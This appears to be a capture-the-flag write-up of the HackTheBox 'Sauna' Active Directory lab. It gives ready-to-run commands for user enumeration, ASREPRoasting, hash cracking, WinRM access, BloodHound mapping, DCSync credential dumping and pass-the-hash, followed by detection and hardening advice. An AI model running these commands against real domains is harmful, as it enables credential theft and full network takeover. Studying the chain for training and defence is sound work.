Listen to this Post
Introduction:
A single misconfigured user account in Active Directory can serve as the master key to an entire corporate network. This attack chain, demonstrated on the HackTheBox “Sauna” machine, mirrors real-world intrusions where attackers leverage legitimate protocols and common oversights—like disabled Kerberos pre-authentication and excessive replication rights—to progress from zero access to full domain control without firing a single exploit . Understanding this pathway is crucial for both offensive security professionals practicing their trade and defenders tasked with securing complex identity environments.
Learning Objectives:
- Understand how to enumerate and exploit user accounts with Kerberos pre-authentication disabled (ASREPRoasting).
- Learn to use post-compromise enumeration tools like WinPEAS and BloodHound to identify privilege escalation paths.
- Execute a DCSync attack to extract credential hashes from a Domain Controller and achieve ultimate domain compromise.
You Should Know:
1. Initial Reconnaissance and User Enumeration
The first step in any external Active Directory assessment is information gathering. On the Sauna machine, the corporate website (http://10.10.10.175/about.html`) listed employee full names, providing a goldmine for username generation . Attackers compile a list of potential usernames using common corporate naming conventions (e.g.,fsmith,f.smith, `Fergus.Smith` from "Fergus Smith") . This list is then validated using tools likekerbrute`, which performs Kerberos pre-authentication to enumerate valid domain accounts without triggering excessive lockouts.
Step-by-step guide:
Gather Names: Manually or automatically extract names from the target’s public-facing resources.
Generate Wordlist: Create a text file (usernames.txt) with possible username formats.
Enumerate with Kerbrute: Use the tool to test which usernames exist in the target domain.
kerbrute userenum -d EGOTISTICAL-BANK.LOCAL --dc 10.10.10.175 usernames.txt -v
Result: This process identified `fsmith` as a valid user on the Sauna domain .
2. Exploiting ASREPRoasting for Initial Credentials
ASREPRoasting targets user accounts that have the “Do not require Kerberos pre-authentication” setting enabled . This misconfiguration allows an attacker to request a Ticket Granting Ticket (TGT) for that user without knowing their password. The KDC’s reply includes data encrypted with the user’s password hash, which can be taken offline for brute-force cracking .
Step-by-step guide:
Discover Vulnerable Accounts: Using the validated username list, query the Domain Controller with Impacket’s GetNPUsers.py.
GetNPUsers.py EGOTISTICAL-BANK.LOCAL/ -usersfile usernames.txt -format hashcat -outputfile hashes.txt -dc-ip 10.10.10.175
Crack the Offline Hash: The tool returns a Kerberos 5 AS-REP hash for the vulnerable account fsmith. Crack it using Hashcat.
hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt
Result: The password for `fsmith` was cracked as Thestrokes23, providing the first set of valid domain credentials .
3. Gaining Foothold and Internal Enumeration with WinPEAS
With credentials, you can gain an initial shell on the system, often via WinRM (Port 5985). Once inside, the next goal is privilege escalation. WinPEAS is an automated script that scans Windows for misconfigurations, cached credentials, and insecure service permissions .
Step-by-step guide:
Access via WinRM: Use the cracked credentials with a tool like Evil-WinRM.
evil-winrm -i 10.10.10.175 -u fsmith -p Thestrokes23
Run WinPEAS: Transfer the `winPEASx64.exe` binary to the target and execute it. It performs checks for auto-logon credentials, vulnerable services, and readable configuration files .
.\winpeas.exe
Key Finding: On Sauna, WinPEAS revealed credentials for a second user, svc_loanmgr, in an auto-logon configuration . This demonstrated a clear credential exposure issue.
4. Mapping the Attack Path with BloodHound
BloodHound ingests data collected from the Active Directory to reveal hidden relationships and attack paths. Using the `bloodhound-python` collector with the new (svc_loanmgr) credentials, you can map out the domain .
Step-by-step guide:
Collect Data: Run the ingester from your attack machine.
bloodhound-python -d EGOTISTICAL-BANK.LOCAL -u svc_loanmgr -p <password> -ns 10.10.10.175 -c All
Analyze in BloodHound: Import the generated JSON files. Query the database for “Shortest Paths to Domain Admins” from owned principals.
Critical Discovery: BloodHound showed that `svc_loanmgr` had the `DS-Replication-Get-Changes-All` extended right over the domain object . This permission is essentially a “backstage pass” to the domain controller’s most sensitive data.
5. Executing the DCSync Attack for Domain Compromise
The `DS-Replication-Get-Changes-All` right allows a user to mimic a Domain Controller and request password data via the Directory Replication Service (DRS) protocol, an attack known as DCSync . This can be performed with tools like Mimikatz or Impacket’s secretsdump.py.
Step-by-step guide:
Perform DCSync: From your attacker machine, use Impacket to leverage svc_loanmgr‘s replication rights.
secretsdump.py EGOTISTICAL-BANK.LOCAL/svc_loanmgr:'password'@10.10.10.175
What Happens: The script uses the MS-DRSR protocol to request replication of user credential data, returning the NTLM hashes for every domain user, including the Administrator .
Final Foothold: Use the extracted Administrator hash in a Pass-the-Hash attack with `psexec.py` to gain a shell as NT AUTHORITY\SYSTEM, achieving full domain control.
psexec.py -hashes :<NTLM_hash> EGOTISTICAL-BANK.LOCAL/[email protected]
What Undercode Say:
- The Attack Chain is the Standard. This Sauna machine walkthrough isn’t just a CTF puzzle; it’s a textbook representation of a modern Active Directory compromise. Real-world threat actors, from ransomware gangs like BlackSuit and Diavol to APT groups, follow this exact playbook: establish a foothold, move laterally, escalate privileges via misconfigurations, and finally exfiltrate or destroy data .
- Defense Lies in Basics and Visibility. The entire compromise stemmed from two core misconfigurations: a user account with pre-authentication disabled and a service account granted excessive replication rights. Defensive tools like Semperis’s Purple Knight can help identify such vulnerabilities . Furthermore, monitoring for event ID 4768 with a pre-authentication type of `0` (disabled) and unusual replication requests can help detect these attacks in progress .
Prediction:
The techniques demonstrated—ASREPRoasting, credential harvesting via enumeration tools, and DCSync—will remain staples of the cyber threat landscape because they abuse intended functionality rather than patched vulnerabilities. We will see a continued increase in their use by ransomware-as-a-service (RaaS) groups, making these “living-off-the-land” attacks more accessible to less skilled actors . The future of defense will hinge on robust identity security posture management, strict adherence to least-privilege principles (especially for replication rights), and advanced behavioral analytics that can distinguish malicious DRS requests from legitimate domain controller activity.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Hitesh Sharma – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
